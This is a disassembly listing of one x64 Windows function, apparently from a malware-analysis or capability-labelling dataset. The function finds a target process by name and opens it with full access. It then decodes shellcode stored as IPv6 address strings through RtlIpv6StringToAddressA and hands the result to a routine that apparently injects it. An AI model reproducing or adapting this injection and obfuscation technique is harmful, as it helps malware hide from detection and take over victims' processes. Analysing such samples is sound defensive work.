Function at 0x140001460
Capabilities:
Enumerate processes

Disassembly:
push rsi
push r12
push r15
sub rsp, 0x6a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x680], rax
xor esi, esi
mov r15d, esi
mov r12d, esi
cmp ecx, 2
jge 0x1400014a5
mov rdx, qword [rdx]
lea rcx, str.____Usage_:___s___Process_Name___n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400016d3
mov qword [rsp + 0x6c0], rbx
mov ecx, 2
mov qword [rsp + 0x6d0], rbp
mov qword [rsp + 0x6d8], rdi
mov qword [rsp + 0x698], r13
mov r13, qword [rdx + 8]
xor edx, edx
mov qword [rsp + 0x690], r14
mov dword [rsp + 0x30], 0x238
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x1400015dd
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400015d8
nop dword [rax]
lea rcx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, eax
lea rdi, [rsp + 0x270]
xor eax, eax
mov ecx, 0x208
mov ebp, esi
rep stosb byte [rdi], al
cmp edx, 0x208
jae 0x140001579
test edx, edx
je 0x140001560
mov rdi, rsi
mov ebx, edx
mov ebp, edx
movzx ecx, word [rsp + rdi + 0x5c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov word [rsp + rdi + 0x270], ax
lea rdi, [rdi + 2]
sub rbx, 1
jne 0x140001543
mov eax, ebp
add rax, rax
cmp rax, 0x410
jae 0x1400016f0
mov word [rsp + rax + 0x270], si
lea rax, [rsp + 0x270]
mov rdi, r13
sub rdi, rax
nop word [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + rdi]
sub edx, ecx
jne 0x1400015a3
add rax, 2
test ecx, ecx
jne 0x140001590
test edx, edx
jne 0x1400015c2
mov r12d, dword [rsp + 0x38]
mov ecx, 0x1fffff
mov r8d, r12d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
test rax, rax
je 0x1400015d8
lea rdx, [rsp + 0x30]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001510
test r14, r14
je 0x1400015e6
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r12d, r12d
je 0x1400016a6
test r15, r15
je 0x1400016a6
lea rcx, str.NTDLL
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlIpv6StringToAddressA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
test rax, rax
je 0x1400016a6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x200
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
je 0x1400016a6
mov rdi, rax
lea rbx, str.FC48:83E4:F0E8:CC00:0000:4151:4150:5248
nop
mov rcx, qword [rbx]
lea rdx, [rsp + 0x20]
mov r8, rdi
call rbp
test eax, eax
jne 0x1400016a6
add rdi, 0x10
inc esi
add rbx, 8
cmp esi, 0x20
jb 0x140001650
mov r8d, 0x200
mov rdx, r14
mov rcx, r15
call fcn.140001220
test eax, eax
je 0x1400016a6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400016ab
mov eax, 0xffffffff
mov r13, qword [rsp + 0x698]
mov rdi, qword [rsp + 0x6d8]
mov rbp, qword [rsp + 0x6d0]
mov rbx, qword [rsp + 0x6c0]
mov r14, qword [rsp + 0x690]
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.140001710
add rsp, 0x6a0
pop r15
pop r12
pop rsi
ret
call fcn.140001838
int3